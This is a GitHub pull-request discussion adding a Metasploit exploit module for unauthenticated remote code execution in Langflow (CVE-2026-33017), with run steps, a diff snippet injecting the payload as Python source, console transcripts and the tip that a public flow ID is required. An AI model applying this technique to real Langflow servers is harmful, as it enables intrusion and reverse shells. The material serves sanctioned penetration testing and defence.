ENH: CISA KEV - Exploit module for CVE-2026-33017 by rmhowe425 · Pull Request #21700 · rapid7/metasploit-framework

rmhowe425 · 2026-07-22T17:23:10Z

Description

This pull request adds a new exploit module that exploits an unauth RCE vulnerability in the /api/v1/build_public_tmp/{flow_id}/flow endpoint in Langflow versions prior to 1.9.0

Addition of CVE to CISA KEV

Related Issue:
Fixes #21698

Breaking Changes

None

Verification Steps

Install the application
Start msfconsole
Do: use exploit/multi/http/langflow_unauth_rce_cve_2026_33017
Do: run LHOST=<lhost> RHOSTS=<rhost> FLOW_ID=<flow id>
A meterpreter session is initiated

Test Evidence

Environment

Field	Details
Operating System	Ubuntu 22.04
Target Software/Hardware	Langflow version 1.8.4

AI Usage Disclosure

None

Pre-Submission Checklist

Included a corresponding documentation markdown file in documentation/modules (new modules only)
No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
Tested on the target environment specified in the Environment section above
Included RSpec tests for library changes (encouraged for lib/ changes)
Read the CONTRIBUTING.md and module acceptance guidelines

msutovsky-r7 · 2026-07-24T10:17:03Z

+                    "    display_name='X'\n" \
+                    "    outputs=[Output(display_name='O',name='o',method='r')]\n" \
+                    "    def r(self)->Data:\n" \
+                    "        #{payload.encode.gsub("\n", "\n        ")}\n" \


If there's an issue with \n, would it work to add it to badchars?

Hmmm I don't think so. Reason being: The payload is injected directly as Python source code rather than being placed inside a string literal. Multi-line payloads are supported intentionally, and the gsub("\n", "\n ") keeps the indentation correct so the generated method stays valid Python. Adding \n to BadChars would prevent otherwise valid payloads from working.

@msutovsky-r7 Are you okay with this line of thought? Would you consider this resolved?

rmhowe425 · 2026-07-28T11:49:42Z

@msutovsky-r7 Ready for review

rmhowe425 · 2026-08-03T14:07:48Z

Hi @adfoster-r7 I was wondering if you could help me move this PR forward?

Copilot

Pull request overview

Adds a new Metasploit multi/http exploit module for unauthenticated RCE in Langflow (< 1.9.0, CVE-2026-33017), along with end-user module documentation under documentation/modules.

Changes:

Introduces exploit/multi/http/langflow_unauth_rce_cve_2026_33017 with an AutoCheck-based version check and a JSON POST exploit path.
Adds module documentation covering installation, options, and a usage scenario.

Impact Analysis:

Blast radius: low (new module + new documentation only; no shared library modifications identified in diff).
Data and contract effects: none beyond adding a new module interface/options.
Rollback and test focus: rollback is simple (remove the new files); validate check behavior against non-Langflow JSON responses and validate exploit request success/failure handling via HTTP status codes.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 6 comments.

File	Description
modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb	New unauth RCE exploit module for Langflow via `build_public_tmp/{flow_id}/flow`.
documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md	New module documentation with setup, options, and an example run.

rmhowe425 · 2026-08-03T16:16:49Z

@adfoster-r7 Should be good to go now

Copilot

Pull request overview

Copilot reviewed 2 out of 2 changed files in this pull request and generated no new comments.

Suppressed comments (2)

modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb:103

Suggestion: Problem: output_method is generated from random letters and used as a Python method name without a guaranteed-safe prefix, which can produce an invalid identifier (e.g., a reserved keyword). Impact: exploit reliability can be non-deterministic due to Python syntax errors when Langflow evaluates the injected component. Fix: Prefix the generated method name with a constant string (or otherwise ensure it cannot be a keyword).

    output_display_name = Rex::Text.rand_text_alpha(5)
    output_name = Rex::Text.rand_text_alpha(5).downcase
    output_method = Rex::Text.rand_text_alpha(5).downcase

documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_33017.md:55

Important: Problem: The Scenarios transcript’s AutoCheck output does not match what this module’s check actually prints (Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")). Impact: Users following the docs may think the module is behaving incorrectly when the output differs. Fix: Update the transcript line to reflect the real AutoCheck message.

[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.8.4 detected.
[*] Payload sent successfully.

rmhowe425 · 2026-08-04T13:44:49Z

All Co-Pilot suggestions have been impemented. Local retesting of exploit code is successful

Moved payload insertion into r()

msutovsky-r7 · 2026-08-07T10:05:44Z

Hey @rmhowe425 , did test your module and I got this:

msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set rhosts 127.0.0.1
srhosts => 127.0.0.1
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set rport 7860
rport => 7860
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set flow_id 9b988a63-78de-4676-afbd-e6137ec625af
flow_id => 9b988a63-78de-4676-afbd-e6137ec625af
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > run verbose=true 
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.8.4 appears vulnerable.
[-] Exploit aborted due to failure: unexpected-reply: Unexpected server reply (HTTP 403).
[*] Exploit completed, but no session was created.

Would you mind sharing more info on your environment setup? I've used the docker same as in module documentation.

rmhowe425 · 2026-08-07T19:05:35Z

@msutovsky-r7 I just finished troubleshooting your issue. FLOW_ID must be set to the value of a public flow. You can make a flow public by clicking on the Shareable Playground toggle button.

The requirement for a public flow to be used for this exploit is heavily implied in the NVD CVE description. ~~I'm working on updating the documentation to explicitly call out that FLOW_ID must be an ID for a public flow.~~

Looks like the documentation that I provided in the pull request already explicitly calls out the need for FLOW_ID to be set to a public flow. Let me know if you think there need to be any revisions to the documentation :)

public flow

rmhowe425 · 2026-08-07T19:08:15Z

Note the Before and After in the screenshot below.

Initial attempt at exploitation failed when FLOW_ID was for a private flow. After making the flow public (screenshot in previous comment), I dropped into a meterpreter shell.

github-project-automation Bot added this to Metasploit Kanban Jul 22, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Jul 22, 2026

rmhowe425 marked this pull request as ready for review July 23, 2026 21:15

rmhowe425 changed the title ~~ENH: Exploit module for CVE-2026-33017~~ ENH: CISA KEV - Exploit module for CVE-2026-33017 Jul 23, 2026

msutovsky-r7 reviewed Jul 24, 2026

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rmhowe425 requested a review from msutovsky-r7 July 24, 2026 14:40

adfoster-r7 requested a review from Copilot August 3, 2026 14:13

Copilot started reviewing on behalf of adfoster-r7 August 3, 2026 14:13 View session

Copilot AI reviewed Aug 3, 2026

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adfoster-r7 requested a review from Copilot August 4, 2026 13:03

Copilot started reviewing on behalf of adfoster-r7 August 4, 2026 13:03 View session

Copilot AI reviewed Aug 4, 2026

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rmhowe425 and others added 13 commits August 7, 2026 11:28

Adding exploit module

d9ad028

Moved payload insertion into r()

aa48ab0

Moved payload insertion into r()

Adding documentation and running msftidy and msftidy_docs

d971c9c

Minor documentation changes

4589bbc

Polishing up documentation

fa5e2b5

Fixing both documentation and code formatting discrepancies

9a2491d

Fixing string interpolation discrepancy

8f290c7

Randomizing values in the json blob

62800cf

Updating documentation to include docker installation steps

06b1add

Updating documentation to include docker installation steps

01df1fe

Updating implementation based on reviewer feedback

3c76bc2

Updating implementation based on reviewer feedback

a4ebcb6

Updating implementation and documentation based on reviewer feedback

9e36897

msutovsky-r7 force-pushed the dev/CVE-2026-33017 branch from d906728 to 9e36897 Compare August 7, 2026 09:31

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Description

Breaking Changes

Verification Steps

Test Evidence

Environment

AI Usage Disclosure

Pre-Submission Checklist

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msutovsky-r7 Jul 24, 2026

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rmhowe425 commented Aug 4, 2026

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msutovsky-r7 commented Aug 7, 2026

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rmhowe425 commented Aug 7, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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public flow

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rmhowe425 commented Aug 7, 2026

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rmhowe425 commented Jul 22, 2026 •

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